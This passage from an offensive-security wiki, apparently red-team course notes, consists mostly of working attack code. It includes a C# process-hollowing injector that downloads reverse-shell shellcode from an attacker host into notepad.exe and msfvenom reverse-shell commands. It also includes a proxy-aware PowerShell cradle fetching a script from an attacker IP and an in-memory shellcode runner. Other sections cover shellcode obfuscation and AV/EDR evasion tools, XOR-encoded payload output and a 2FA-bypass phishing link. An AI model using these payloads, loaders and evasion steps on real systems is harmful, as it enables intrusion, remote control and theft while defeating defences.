            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
